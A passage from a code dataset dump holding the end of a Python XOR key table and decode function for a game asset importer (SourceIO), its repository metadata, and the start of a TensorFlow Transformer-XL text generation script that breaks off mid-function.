0x8A, 0xD9, 0x35,\n    0x78, 0xBF, 0x01, 0x42, 0x8F, 0xC8, 0x15,\n    0x5E, 0x93, 0xD4, 0x29, 0x6A, 0xA7, 0xE1, 0x3C, 0x67, 0xAA, 0xED, 0x50, 0x93, 0xDE, 0x19, 0x44, 0x62, 0xA6, 0x19,\n    0x5C, 0x97, 0xD2, 0x0D, 0x48, 0xBB, 0xFE, 0x01, 0x44, 0x88, 0xD5, 0x12, 0x5F, 0x94, 0x00, 0x45, 0x8A, 0xCF, 0x14,\n    0x51, 0x9F, 0xDA, 0x29, 0x6C, 0xA3, 0xE6, 0x18, 0x55, 0x92, 0xEF, 0x34, 0x78, 0xBF, 0xE2, 0x21, 0x6C, 0xAB, 0x16,\n    0x5D, 0x90, 0xD7, 0x0A, 0x4A, 0x87, 0xC0,\n    0x3D, 0x46, 0x8B, 0xCC, 0x11, 0x52, 0x9F, 0xD8, 0x64, 0xAF, 0xAE, 0xF3, 0x34, 0x79, 0xBA, 0x07, 0x40, 0x8D, 0xC6,\n    0x1A, 0x5D, 0x90, 0xD3, 0x2E, 0x69, 0xA4, 0xFF, 0x22, 0x65, 0xA8, 0x14, 0x51, 0x9E, 0xDB, 0x08, 0x4D, 0x82, 0xC7,\n    0x3C, 0x5A, 0x95, 0xCF, 0x34, 0x79, 0xBE, 0xC3, 0x00, 0x4D, 0x8A, 0xD7, 0x1C, 0x78, 0xBC, 0x03, 0x46, 0x8D, 0xC8,\n    0x17, 0x52, 0x91, 0xD4, 0x2B, 0x6E, 0xA6,\n    0xE3, 0x3C, 0x79, 0xAA, 0xF0, 0x37, 0x7A, 0xB9, 0xE4, 0x23, 0x6D, 0xA6, 0x1B, 0x5C, 0x91, 0xD2, 0x0F, 0x48, 0x85,\n    0xFE, 0x03, 0x45, 0x88, 0xCB, 0x16, 0x51, 0x9C, 0xD7, 0x43, 0x86, 0xC9, 0x0C, 0x50, 0x7E, 0xB9, 0x04, 0x4F, 0x82,\n    0xC5, 0x18, 0x5B, 0x96, 0xD1, 0x2B, 0x78, 0xBD, 0xE2, 0x27, 0x6C, 0xA9, 0x16, 0x53, 0x90, 0xD5, 0x0B, 0x4E, 0x85,\n    0xC0, 0x3F, 0x7A, 0x89, 0xCC, 0x36, 0x7B,\n    0xB8, 0xC4, 0x03, 0x4E, 0x85, 0xF1, 0x34, 0x7B, 0xBE, 0x05, 0x40, 0x8F, 0xC9, 0x1A, 0x5F, 0x90, 0xD5, 0x2E, 0x6B,\n    0xA4, 0xE1, 0x22, 0x67, 0xA9, 0xEC, 0x57, 0x92, 0xB8, 0xE5, 0x2E, 0x63, 0xA4, 0x19, 0x5A, 0x96, 0xD1, 0x0C, 0x77,\n    0xBA, 0xFD, 0x00, 0x43, 0x8E, 0xC9, 0x14, 0x50, 0xBC, 0x01, 0x46, 0x8B, 0xC8, 0x15, 0x52, 0x9F, 0xD4, 0x29, 0x42,\n    0x87, 0xDC, 0x19, 0x56, 0x93, 0xF0, 0x35,\n    0x7A, 0xBF, 0xE4, 0x20, 0x6F, 0xAA, 0x19, 0x5C, 0x93, 0xD6, 0x0D, 0x48, 0x87, 0xC2, 0x02, 0x47, 0x88, 0xCD, 0x16,\n    0x53, 0x9C, 0xC6, 0x0D, 0x69, 0xAC, 0xF0, 0x35, 0x7E, 0xBB, 0x04, 0x41, 0x82, 0xC7, 0x18, 0x5D, 0x96, 0xD2, 0x2D,\n    0x68, 0xBB, 0xFE, 0x21, 0x64, 0xAF, 0xEA, 0x55, 0x90, 0xD4, 0x09, 0x4E, 0x60, 0xA3, 0x1E, 0x59, 0x94, 0xEF, 0x32,\n    0x75, 0xBF, 0xC4, 0x01, 0x4E, 0x8B, 0xD8,\n    0x34, 0x79, 0xBE, 0x03, 0x40, 0x8C, 0xCB, 0x16, 0x5D, 0x90, 0xD7, 0x2A, 0x69, 0xA4, 0xE3, 0x1B, 0x49, 0x8C, 0xF3,\n    0x36, 0x7D, 0xB8, 0xE7, 0x22, 0x61, 0xA4, 0x1B, 0x5D, 0x96, 0xD3, 0x0C, 0x49, 0xBA, 0xFF, 0x00, 0x45, 0x8E, 0xCB,\n    0x15, 0x50, 0x93, 0xFF, 0x42, 0x85, 0xAD, 0xF6, 0x33, 0x7C, 0xB9, 0x0B, 0x4E, 0x81, 0xC4, 0x1F, 0x5A, 0x95, 0xD0,\n    0x33, 0x76, 0xB9, 0xE3, 0x20, 0x6D, 0xAA,\n    0x17, 0x5C, 0x91, 0xD6, 0x0B, 0x48, 0x85, 0xC3, 0x3E, 0x68, 0xAD, 0xF2, 0x37, 0x7C, 0xB9, 0xC6, 0x03, 0x40, 0xAD,\n    0xF0, 0x37, 0x7A, 0xB9, 0x04, 0x43, 0x8E, 0xC5, 0x18, 0x5F, 0x91, 0xD2, 0x2F, 0x68, 0xA5, 0xFE, 0x23, 0x64, 0xA9,\n    0xF5, 0x30, 0x7C, 0xB9, 0xEA, 0x2F, 0x60, 0xA5, 0x1E, 0x5B, 0x94, 0xD1, 0x32, 0x76, 0xB9, 0xFC, 0x07, 0x42, 0x8D,\n    0xC8, 0x1B, 0x77, 0xBA, 0xFD, 0x47, 0x8C,\n    0xC9, 0x16, 0x53, 0x73, 0xB6, 0x09, 0x4C, 0x87, 0xC2, 0x1A, 0x57, 0x8C, 0xF1, 0x36, 0x7B, 0xB8, 0xE5, 0x22, 0x6F,\n    0xA4, 0x18, 0x5F, 0x92, 0xD1, 0x0C, 0x4B, 0x86, 0xFD, 0x00, 0x47, 0x8A, 0xCA, 0x30, 0x7F, 0xBA, 0xC9, 0x25, 0x68,\n    0xAF, 0xF2, 0x31, 0x7C, 0xB8, 0x05, 0x4E, 0x83, 0xC4, 0x19, 0x5A, 0x97, 0xD0, 0x2D, 0x76, 0xBA, 0xFD, 0x20, 0x63,\n    0xAE, 0xE9, 0x54, 0x9F, 0xB7, 0xE8, 0x2D,\n    0x67, 0xA2, 0x1D, 0x58, 0xAB, 0xEE, 0x31, 0x74, 0xBF, 0xFA, 0x05, 0x4F, 0x84, 0xF0, 0x35, 0x7A, 0xBF, 0x04, 0x41,\n    0x8E, 0xCB, 0x18, 0x5C, 0x93, 0xD6, 0x2D, 0x45, 0x82, 0xDF, 0x04, 0x49, 0x8E, 0xF3, 0x31, 0x7C, 0xBB, 0xE6, 0x2D,\n    0x60, 0xA7, 0x1A, 0x59, 0x94, 0xD3, 0x0D, 0x76, 0xBB, 0xFC, 0x01, 0x42, 0x8F, 0xC8, 0x15, 0x5E, 0xBA, 0xE3, 0x24,\n    0x69, 0xAA, 0xF7, 0x30, 0x7D, 0xB6, 0x0B,\n    0x4C, 0x81, 0xC3, 0x1E, 0x59, 0x94, 0xCF, 0x32, 0x75, 0xB8, 0xFB, 0x26, 0x61, 0xAB, 0x18, 0x5D, 0x92, 0xD7, 0x0C,\n    0x49, 0x65, 0xA0, 0x23, 0x66, 0xAE, 0xF3, 0x30, 0x7D, 0xBA, 0xC7, 0x0C, 0x68, 0xAD, 0xF2, 0x37, 0x7D, 0xB8, 0x07,\n    0x42, 0x81, 0xC4, 0x1B, 0x5E, 0x95, 0xD0, 0x2F, 0x69, 0xBA, 0xFF, 0x07, 0x4A, 0x89, 0xF4, 0x33, 0x7E, 0xB5, 0xE8,\n    0x2C, 0x61, 0xA2, 0x1F, 0x58, 0x95, 0xEE,\n    0x33, 0x74, 0xB9, 0xFA, 0x06, 0x41, 0x8C, 0xC7, 0x33, 0x76, 0xB9, 0xFC, 0x47, 0x82, 0xA8, 0xF4, 0x3F, 0x72, 0xB5,\n    0x08, 0x4B, 0x86, 0xC1, 0x1C, 0x47, 0x8A, 0xF2, 0x37, 0x7C, 0xB9, 0xE6, 0x23, 0x60, 0xA5, 0x1A, 0x5F, 0x94, 0xD0,\n    0x0F, 0x4A, 0xB9, 0xFC, 0x03, 0x6B, 0xA8, 0xF5, 0x32, 0x7F, 0xB5, 0xE1, 0x24, 0x6B, 0xAE, 0xF5, 0x30, 0x7F, 0xBA,\n    0x09, 0x4C, 0x80, 0xC5, 0x1E, 0x5B, 0x94,\n    0xD1, 0x32, 0x77, 0xB8, 0xFD, 0x26, 0x62, 0xAD, 0xF5, 0x3E, 0x73, 0xB4, 0xE9, 0x2A, 0x67, 0xA0, 0x1D, 0x67, 0xAA,\n    0xED, 0x30, 0x73, 0xBE, 0xF9, 0x04, 0x4F, 0xAB, 0xEE, 0x36, 0x7B, 0xB8, 0x05, 0x42, 0x8F, 0xC4, 0x19, 0x5E, 0x70,\n    0xB3, 0x09, 0x46, 0x83, 0xC0, 0x05, 0x4A, 0x8F, 0xF4, 0x31, 0x7E, 0xBB, 0xE9, 0x2C, 0x63, 0xA6, 0x1D, 0x58, 0x97,\n    0xD2, 0x31, 0x74, 0xBB, 0xFD, 0x06, 0x43,\n    0x8C, 0xC9, 0x3D, 0x59, 0x9C, 0xE3, 0x26, 0x6D, 0xAB, 0xF4, 0x31, 0x72, 0xB7, 0x08, 0x4D, 0x86, 0xC3, 0x1C, 0x59,\n    0x8B, 0xCE, 0x31, 0x74, 0xBF, 0xFA, 0x25, 0x60, 0xA3, 0xE6, 0x59, 0x93, 0xB3, 0xEE, 0x29, 0x64, 0x9F, 0x22, 0x65,\n    0xA8, 0xEB, 0x36, 0x7E, 0xBB, 0xC8, 0x24, 0x69, 0xAE, 0xF3, 0x30, 0x7D, 0xBA, 0x07, 0x4D, 0x80, 0xC7, 0x1A, 0x59,\n    0x94, 0xD3, 0x2E, 0x58, 0x9D, 0xC2, 0x06,\n    0x4D, 0x88, 0xF7, 0x32, 0x71, 0xB4, 0xEB, 0x2E, 0x65, 0xA0, 0x1C, 0x59, 0xAA, 0xEF, 0x30, 0x75, 0xBE, 0xFB, 0x04,\n    0x41, 0x82, 0xEF, 0x32, 0x75, 0xB8, 0xE6, 0x23, 0x6C, 0xA9, 0xFA, 0x3F, 0x70, 0xB4, 0x0F, 0x4A, 0x85, 0xC0, 0x03,\n    0x46, 0x89, 0xCC, 0x37, 0x72, 0xBA, 0xE7, 0x2C, 0x61, 0xA6, 0x1B, 0x58, 0x95, 0xD2, 0x0F, 0x74, 0x5D, 0xE2, 0x27,\n    0x6C, 0xA9, 0xF6, 0x33, 0x70, 0x9C, 0xE1,\n    0x26, 0x6A, 0xA9, 0xF4, 0x33, 0x7E, 0xB5, 0x08, 0x4F, 0x82, 0xC1, 0x1C, 0x58, 0x95, 0xCE, 0x33, 0x74, 0xB9, 0xFA,\n    0x00, 0x4F, 0x8A, 0xF9, 0x3F, 0x70, 0xB5, 0xEE, 0x2B, 0x64, 0xA1, 0x22, 0x67, 0xA8, 0xED, 0x37, 0x72, 0xBD, 0xF8,\n    0x0B, 0x67, 0xAA, 0xED, 0x30, 0x73, 0xBE, 0x06, 0x43, 0x80, 0xA6, 0xF9, 0x3C, 0x77, 0xB2, 0x0D, 0x48, 0x9B, 0xC1,\n    0x06, 0x4B, 0x88, 0xF5, 0x32, 0x7F, 0xB4,\n    0xE9, 0x2E, 0x63, 0xA1, 0x1C, 0x5B, 0x96, 0xED, 0x30, 0x77, 0xBA, 0xF9, 0x04, 0x6E, 0xAA, 0xF9, 0x15, 0x58, 0x9F,\n    0xE2, 0x21, 0x6C, 0xAB, 0xF6, 0x3D, 0x73, 0xB4, 0x09, 0x4A, 0x87, 0xC0, 0x1D, 0x46, 0x8B, 0xCC, 0x31, 0x73, 0xBE,\n    0xF9, 0x24, 0x6F, 0xA2, 0xF8, 0x3D, 0x76, 0xB3, 0xEC, 0x28, 0x5B, 0x9E, 0x21, 0x64, 0xAF, 0xEA, 0x35, 0x70, 0xB3,\n    0xDF, 0x25, 0x6A, 0xAF, 0xF4, 0x31, 0x7E,\n    0xBB, 0x08, 0x4D, 0x82, 0xC7, 0x1D, 0x58, 0x72, 0xCF, 0x14, 0x59, 0x9E, 0xC3, 0x00, 0x4D, 0x8A, 0xF6, 0x3D, 0x70,\n    0xB7, 0xEA, 0x29, 0x64, 0xA3, 0x1E, 0x65, 0xA8, 0xEC, 0x31, 0x72, 0xBF, 0xF8, 0x05, 0x4E, 0xAA, 0xEF, 0x17, 0x5A,\n    0x9A, 0xE7, 0x20, 0x6D, 0xA6, 0xFB, 0x3C, 0x71, 0xB2, 0x0F, 0x48, 0x84, 0xDF, 0x02, 0x45, 0x88, 0xCB, 0x36, 0x71,\n    0xBC, 0xF7, 0x2A, 0x62, 0xA7, 0x1C, 0x59,\n    0x96, 0xB0, 0xD3, 0x16, 0x59, 0x9C, 0x27, 0x6D, 0xAA, 0xF7, 0x3C, 0x58, 0x9D, 0xE2, 0x27, 0x6C, 0xA9, 0xF6, 0x32,\n    0x71, 0xB4, 0x0B, 0x4E, 0x85, 0xC0, 0x1F, 0x5A, 0x89, 0xCC, 0x30, 0x5A, 0x99, 0xC4, 0x03, 0x4E, 0x85, 0xF8, 0x3F,\n    0x72, 0xB1, 0xEF, 0x28, 0x65, 0x9E, 0x23, 0x64, 0xA9, 0xEA, 0x37, 0x70, 0xBD, 0xF7, 0x23, 0x66, 0xA9, 0xEC, 0x37,\n    0x72, 0xBD, 0xE5, 0x2E, 0x63, 0xA5, 0xF8,\n    0x3B, 0x76, 0xB1, 0x0C, 0x57, 0x9A, 0xDD, 0x00, 0x43, 0x89, 0xF6, 0x33, 0x70, 0xB5, 0xEA, 0x2F, 0x64, 0xA1, 0x1E,\n    0x5B, 0xA9, 0xEC, 0x33, 0x76, 0x58, 0xE5, 0x22, 0x6F, 0xA4, 0xD0, 0x15, 0x5B, 0x9E, 0xE5, 0x20, 0x6F, 0xAA, 0xF9,\n    0x3C, 0x73, 0xB6, 0x0D, 0x4B, 0x84, 0xC1, 0x02, 0x47, 0x88, 0xCD, 0x36, 0x73, 0xBC, 0xF9, 0x0E, 0x43, 0x84, 0xF9,\n    0x3A, 0x77, 0xB0, 0xED, 0x16, 0x5B, 0x9C,\n    0x20, 0x63, 0xAE, 0xE9, 0x34, 0x7F, 0x9B, 0xDE, 0x21, 0x64, 0xAF, 0xF5, 0x32, 0x7F, 0xB4, 0x09, 0x4E, 0x83, 0xA3,\n    0xFE, 0x39, 0x74, 0xD0, 0x15, 0x5A, 0x9F, 0xC4, 0x01, 0x4E, 0x8B, 0xF8, 0x3D, 0x72, 0xB6, 0xED, 0x28, 0x67, 0xA2,\n    0x21, 0x64, 0xAB, 0xEE, 0x35, 0x70, 0xBC, 0xF9, 0x0A, 0x49, 0x8C, 0xD3, 0x16, 0x5D, 0x98, 0xE7, 0x22, 0x62, 0xA7,\n    0xF8, 0x3D, 0x76, 0xB3, 0x0C, 0x49, 0x9A,\n    0xDF, 0x00, 0x44, 0x8F, 0xCA, 0x35, 0x70, 0xB3, 0xF6, 0x29, 0x6C, 0xA7, 0xFF, 0x39, 0x74, 0x8F, 0xD2, 0x15, 0x58,\n    0x9B, 0x26, 0x61, 0xAC, 0xE7, 0x14, 0x59, 0x9E, 0xE3, 0x20, 0x6D, 0xAA, 0xF7, 0x3C, 0x71, 0xB6, 0x0A, 0x49, 0x84,\n    0xC3, 0x1E, 0x45, 0x6D, 0xD2, 0x17, 0x5C, 0x99, 0xC7, 0x02, 0x41, 0x84, 0xFB, 0x3E, 0x75, 0xB0, 0xEF, 0x2A, 0x59,\n    0x9F, 0x20, 0x65, 0xAE, 0xEB, 0x34, 0x71,\n    0xB2, 0xDE, 0x23, 0x64, 0xA8, 0xEB, 0x13, 0x5C, 0x99, 0xEA, 0x2F, 0x60, 0xA5, 0xFE, 0x3B, 0x75, 0xB0, 0x13, 0x56,\n    0x99, 0xDC, 0x07, 0x42, 0x8D, 0xC8, 0x3B, 0x71, 0xB6, 0xEB, 0x28, 0x65, 0xA2, 0x1F, 0x64, 0xA9, 0x8D, 0xD0, 0x1C,\n    0x59, 0xE6, 0x23, 0x60, 0x8C, 0xD1, 0x16, 0x5B, 0x98, 0xE5, 0x23, 0x6E, 0xA5, 0xF8, 0x3F, 0x72, 0xB1, 0x0C, 0x4B,\n    0x86, 0xDD, 0x03, 0x44, 0x89, 0xCA, 0x37,\n    0x5F, 0x9A, 0xC9, 0x0C, 0x43, 0x86, 0xFE, 0x3B, 0x74, 0xB1, 0xD2, 0x17, 0x58, 0x9D, 0x26, 0x63, 0xAC, 0xE8, 0x3B,\n    0x57, 0x9A, 0xDD, 0x20, 0x63, 0xAE, 0xE9, 0x34, 0x7F, 0xB5, 0xE9, 0x2C, 0x67, 0xA2, 0xFD, 0x38, 0x6B, 0xAE, 0x11,\n    0x54, 0x98, 0xC5, 0x02, 0x4F, 0x84, 0xF9, 0x3E, 0x73, 0xB0, 0xED, 0x2A, 0x66, 0x9D, 0x20, 0x67, 0xAA, 0xE9, 0x34,\n    0x73, 0x5B, 0xE8, 0x04, 0x48, 0x8F, 0xD2,\n    0x11, 0x5C, 0x9B, 0xE6, 0x2D, 0x60, 0xA7, 0xFA, 0x3A, 0x77, 0xB0, 0x0D, 0x56, 0x9B, 0xDC, 0x01, 0x42, 0x8F, 0xC8,\n    0x34, 0x7F, 0xB2, 0xF5, 0x0D, 0x46, 0x83, 0xFC, 0x39, 0x4A, 0x8F, 0xD1, 0x14, 0x5F, 0x9A, 0x25, 0x60, 0xA3, 0xCF,\n    0x12, 0x55, 0x98, 0xE4, 0x21, 0x6E, 0xAB, 0xF8, 0x3D, 0x72, 0xB7, 0x0C, 0x49, 0x86, 0xBF, 0xE4, 0x29, 0x6E, 0xD3,\n    0x10, 0x5D, 0x9A, 0xC7, 0x0C, 0x41, 0x87,\n    0xFA, 0x39, 0x74, 0xB3, 0xEE, 0x15, 0x58, 0x9F, 0x22, 0x61, 0xAF, 0xE8, 0x35, 0x7E, 0x9A, 0xDF, 0x20, 0x4A, 0x89,\n    0xD4, 0x13, 0x5D, 0x96, 0xEB, 0x2C, 0x61, 0xA2, 0xFF, 0x38, 0x75, 0xAE, 0x13, 0x55, 0x98, 0xDB, 0x06, 0x41, 0x8C,\n    0xC7, 0x3A, 0x7D, 0xB0, 0xF3, 0x29, 0x66, 0xA3, 0xC3, 0x06, 0x49, 0x8C, 0xD7, 0x12, 0x5D, 0x98, 0x2C, 0x48, 0x8D,\n    0xD2, 0x17, 0x5C, 0x99, 0xE6, 0x23, 0x60,\n    0xA5, 0xFB, 0x3E, 0x75, 0xB0, 0x0F, 0x4A, 0x99, 0xDC, 0x03, 0x46, 0x68, 0xD4, 0x13, 0x5E, 0x95, 0xC8, 0x0F, 0x42,\n    0x81, 0xFC, 0x3B, 0x76, 0x8E, 0xD3, 0x14, 0x59, 0x9A, 0x27, 0x60, 0xAD, 0xE6, 0x12, 0x57, 0x99, 0xDC, 0x27, 0x62,\n    0xAD, 0xE8, 0x1E, 0x53, 0x94, 0xE9, 0x2A, 0x66, 0xA1, 0xFC, 0x27, 0x6A, 0xAD, 0x10, 0x53, 0x9E, 0xD9, 0x04, 0x40,\n    0x85, 0xFA, 0x3F, 0x74, 0xB1, 0xEE, 0x2B,\n    0x58, 0x9D, 0x22, 0x66, 0xAD, 0x95, 0xD2, 0x1F, 0x54, 0xC0, 0x05, 0x4A, 0x8F, 0xD4, 0x10, 0x5F, 0x9A, 0xE9, 0x2C,\n    0x63, 0xA6, 0xFD, 0x38, 0x77, 0xB2, 0x12, 0x57, 0x98, 0xDD, 0x06, 0x43, 0x8C, 0xC9, 0x3A, 0x50, 0x97, 0xC9, 0x0A,\n    0x47, 0x80, 0xFD, 0x06, 0x4B, 0x8C, 0xD1, 0x12, 0x5F, 0x99, 0x24, 0x6F, 0x8B, 0xCE, 0x11, 0x54, 0x9F, 0xDA, 0x25,\n    0x60, 0xA4, 0xF9, 0x3E, 0x73, 0xB0, 0xEE,\n    0x29, 0x64, 0xBF, 0xE2, 0x25, 0x6F, 0xD4, 0x11, 0x5E, 0x9B, 0xC8, 0x0D, 0x42, 0x87, 0xFC, 0x39, 0x77, 0xB2, 0xD1,\n    0x14, 0x5B, 0x9E, 0x25, 0x60, 0xAF, 0xEA, 0x39, 0x56, 0x7C, 0xC3, 0x06, 0x4D, 0x88, 0xD7, 0x12, 0x51, 0x94, 0xEB,\n    0x2D, 0x66, 0xA3, 0xFC, 0x39, 0x6A, 0xAF, 0x10, 0x55, 0x9E, 0xDB, 0x05, 0x40, 0x83, 0xC6, 0x39, 0x7C, 0xB7, 0xF2,\n    0x08, 0x45, 0xBE, 0xC2, 0x05, 0x48, 0x8B\n], np.uint8)\n\n\ndef xor_decode(data: Union[bytes, bytearray], key: List[int] = None, key_offset: int = 0):\n    if key is None:\n        key = xor_key\n\n    if not data:\n        return data\n    buffer = np.frombuffer(data, np.uint8).copy()\n    del data\n\n    key_buffer = np.zeros_like(buffer)\n    key_buffer[:] = key[(np.arange(buffer.shape[0]) + key_offset) & 4095]\n    buffer ^= key_buffer\n    return buffer.tobytes()\n", "meta": {"hexsha": "1b7a9189a8064d9eaf46e25cb42fd2a113ec9311", "size": 26088, "ext": "py", "lang": "Python", "max_stars_repo_path": "library/source1/hfsv1/xor_key.py", "max_stars_repo_name": "anderlli0053/SourceIO", "max_stars_repo_head_hexsha": "3c0c4839939ce698439987ac52154f89ee2f5341", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 199, "max_stars_repo_stars_event_min_datetime": "2019-04-02T02:30:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T21:29:49.000Z", "max_issues_repo_path": "source1/hfsv1/xor_key.py", "max_issues_repo_name": "syborg64/SourceIO", "max_issues_repo_head_hexsha": "e4ba86d801f518e192260af08ef533759c2e1cc3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 113, "max_issues_repo_issues_event_min_datetime": "2019-03-03T19:36:25.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T19:44:05.000Z", "max_forks_repo_path": "source1/hfsv1/xor_key.py", "max_forks_repo_name": "syborg64/SourceIO", "max_forks_repo_head_hexsha": "e4ba86d801f518e192260af08ef533759c2e1cc3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 38, "max_forks_repo_forks_event_min_datetime": "2019-05-15T16:49:30.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-22T03:40:43.000Z", "avg_line_length": 93.8417266187, "max_line_length": 117, "alphanum_fraction": 0.6401027292, "include": true, "reason": "import numpy", "num_tokens": 21184, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5621765008857981, "lm_q2_score": 0.17553806499717958, "lm_q1q2_score": 0.09868337515237821}}
{"text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport re\nimport math\nimport time\nfrom absl import flags\nfrom progressbar import ProgressBar\nimport absl.logging as _logging  # pylint: disable=unused-import\nimport csv\n\nimport tensorflow as tf\nimport model\nimport data_utils\nfrom vocabulary import Vocab\nfrom gpu_utils import assign_to_gpu, average_grads_and_vars\nfrom postprocess import top_one_result, top_n_prob, gen_on_keyword, gen_diversity\nimport numpy as np\nimport pandas as pd\nimport multiprocessing\nimport random\n\n# GPU config\nflags.DEFINE_integer(\"num_core_per_host\", default=8, help=\"Number of cores per host\")\nflags.DEFINE_integer(\"multiprocess\", default=2, help=\"Number of processes\")\n\n# Experiment (data/checkpoint/directory) config\nflags.DEFINE_string(\"corpus_info_path\", default=\"\", help=\"Path to corpus-info.json file.\")\nflags.DEFINE_string(\"model_dir\", default=None, help=\"Estimator model_dir.\")\nflags.DEFINE_string(\"dataset\", \"tmall\", help=\"Dataset name.\")\nflags.DEFINE_string(\"input_file_dir\", default=None, help=\"Input file_dir.\")\nflags.DEFINE_string(\"output_file_dir\", default=None, help=\"Output file_dir.\")\nflags.DEFINE_bool(\"do_sent_gen\", default=False, help=\"Whether to generate sentence.\")\nflags.DEFINE_bool(\"do_sent_ppl_pred\", default=False, help=\"Whether to predict sentence log probability.\")\nflags.DEFINE_integer(\"limit_len\", default=50, help=\"Limited length of input sentence.\")\nflags.DEFINE_integer(\"gen_len\", default=30, help=\"Number of token to generate.\")\n\n# Model config\nflags.DEFINE_integer(\"mem_len\", default=10, help=\"Number of steps to cache\")\nflags.DEFINE_bool(\"same_length\", default=False, help=\"Same length attention\")\nflags.DEFINE_integer(\"clamp_len\", default=-1, help=\"Clamp length\")\n\nflags.DEFINE_integer(\"n_layer\", default=6, help=\"Number of layers.\")\nflags.DEFINE_integer(\"d_model\", default=500, help=\"Dimension of the model.\")\nflags.DEFINE_integer(\"d_embed\", default=500, help=\"Dimension of the embeddings.\")\nflags.DEFINE_integer(\"n_head\", default=10, help=\"Number of attention heads.\")\nflags.DEFINE_integer(\"d_head\", default=50, help=\"Dimension of each attention head.\")\nflags.DEFINE_integer(\"d_inner\", default=1000, help=\"Dimension of inner hidden size in positionwise feed-forward.\")\nflags.DEFINE_float(\"dropout\", default=0.1, help=\"Dropout rate.\")\nflags.DEFINE_float(\"dropatt\", default=0.1, help=\"Attention dropout rate.\")\nflags.DEFINE_bool(\"untie_r\", default=False, help=\"untie r_w_bias and r_r_bias\")\n\n# Adaptive Softmax / Embedding\nflags.DEFINE_integer(\"div_val\", default=1, help=\"Divide the embedding size by this val for each bin\")\nflags.DEFINE_bool(\"proj_share_all_but_first\", default=False,\n                  help=\"True to share all but first projs, False not to share.\")\nflags.DEFINE_bool(\"proj_same_dim\", default=True, help=\"Project the bin with the same dimension.\")\n\n# Parameter initialization\nflags.DEFINE_enum(\"init\", default=\"normal\", enum_values=[\"normal\", \"uniform\"], help=\"Initialization method.\")\nflags.DEFINE_float(\"init_std\", default=0.02, help=\"Initialization std when init is normal.\")\nflags.DEFINE_float(\"proj_init_std\", default=0.01, help=\"Initialization std for embedding projection.\")\nflags.DEFINE_float(\"init_range\", default=0.1, help=\"Initialization std when init is uniform.\")\n\nFLAGS = flags.FLAGS\n\ndef sent_gen(tmp_Vocab, input_txt, n_token, cutoffs, ps_device):\n\n    test_list = tf.placeholder(tf.int64, shape=[1, None])\n    dataset = tf.data.Dataset.from_tensors(test_list)\n    # dataset = dataset.batch(1, drop_remainder=True)\n\n    iterator = dataset.make_initializable_iterator()\n    input_feed = iterator.get_next()\n\n    inputs = tf.split(input_feed, FLAGS.num_core_per_host, 0)\n\n    per_core_bsz = 1\n    tower_mems, tower_losses, tower_new_mems = [], [], []\n    tower_output = []\n    tower_mems_id = []\n    tower_new_mems_id = []\n    tower_attn_prob = []\n\n    for i in range(FLAGS.num_core_per_host):\n        with tf.device(assign_to_gpu(i, ps_device)), \\\n             tf.variable_scope(tf.get_variable_scope(), reuse=tf.AUTO_REUSE):\n            mems_i = [tf.placeholder(tf.float32,\n                                     [FLAGS.mem_len, per_core_bsz, FLAGS.d_model])\n                      for _ in range(FLAGS.n_layer)]\n\n            mems_i_id = [tf.placeholder(tf.int64,\n                                        [FLAGS.mem_len, per_core_bsz])\n                         for _ in range(FLAGS.n_layer)]\n\n            new_mems_i, output_i, new_mems_i_id, attn_prob_i = single_core_graph_for_inference(\n                n_token=n_token,\n                cutoffs=cutoffs,\n                is_training=False,\n                inp=inputs[i],\n                mems=mems_i,\n                mems_id=mems_i_id)\n\n            tower_mems.append(mems_i)\n            tower_new_mems.append(new_mems_i)\n            tower_output.append(output_i)\n            tower_mems_id.append(mems_i_id)\n            tower_new_mems_id.append(new_mems_i_id)\n            tower_attn_prob.append(attn_prob_i)\n\n    # Evaluation loop\n    tower_mems_np = [\n        [np.zeros([FLAGS.mem_len, per_core_bsz, FLAGS.d_model], dtype=np.float32)\n         for layer in range(FLAGS.n_layer)]\n        for core in range(FLAGS.num_core_per_host)\n    ]\n\n    tower_mems_id_np = [\n        [np.zeros([FLAGS.mem_len, per_core_bsz], dtype=np.float32)\n         for layer in range(FLAGS.n_layer)]\n        for core in range(FLAGS.num_core_per_host)\n    ]\n\n    saver = tf.train.Saver()\n\n    with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:\n        sess.run(tf.global_variables_initializer())\n\n        eval_ckpt_path = tf.train.latest_checkpoint(FLAGS.model_dir)\n\n        saver.restore(sess, eval_ckpt_path)\n\n        if input_txt == \"\":\n            txt_gen = tmp_Vocab.get_sym(random.randint(3, len(tmp_Vocab.idx2sym) - 1))\n        else:\n            txt_gen = input_txt\n\n        fetches = [tower_new_mems,\n                   tower_output,\n                   tower_new_mems_id,\n                   tower_attn_prob,\n                   'transformer/adaptive_embed/lookup_table:0']\n\n        encoded_input = tmp_Vocab.encode_sents(txt_gen, ordered=True)\n\n        progress = ProgressBar()\n        for _ in progress(range(FLAGS.gen_len)):\n            time.sleep(0.01)\n            feed_dict = {}\n            for i in range(FLAGS.num_core_per_host):\n                for m, m_np in zip(tower_mems[i], tower_mems_np[i]):\n                    feed_dict[m] = m_np\n\n                for id, id_np in zip(tower_mems_id[i], tower_mems_id_np[i]):\n                    feed_dict[id] = id_np\n\n            sess.run(iterator.initializer, feed_dict={test_list: [encoded_input]})\n            fetched = sess.run(fetches, feed_dict=feed_dict)\n\n            tower_mems_np, output = fetched[:2]\n\n            tower_mems_id_np = fetched[2]\n\n            tmp_list = output[0][-1][0]\n            tmp_list = tmp_list.tolist()\n\n            index = top_one_result(tmp_list)\n\n            txt_gen += tmp_Vocab.get_sym(index)\n            if tmp_Vocab.get_sym(index) == \"<eos>\":\n                break\n            else:\n                encoded_input = [index]\n\n        return txt_gen\n\n\ndef sent_ppl(input_txt_list, n_token, cutoffs, ps_device):\n\n    test_list = tf.placeholder(tf.int64, shape=[1, None])\n    dataset = tf.data.Dataset.from_tensors(test_list)\n    # dataset = dataset.batch(1, drop_remainder=True)\n\n    iterator = dataset.make_initializable_iterator()\n    input_feed = iterator.get_next()\n\n    inputs = tf.split(input_feed, FLAGS.num_core_per_host, 0)\n\n    per_core_bsz = 1\n    tower_mems, tower_losses, tower_new_mems = 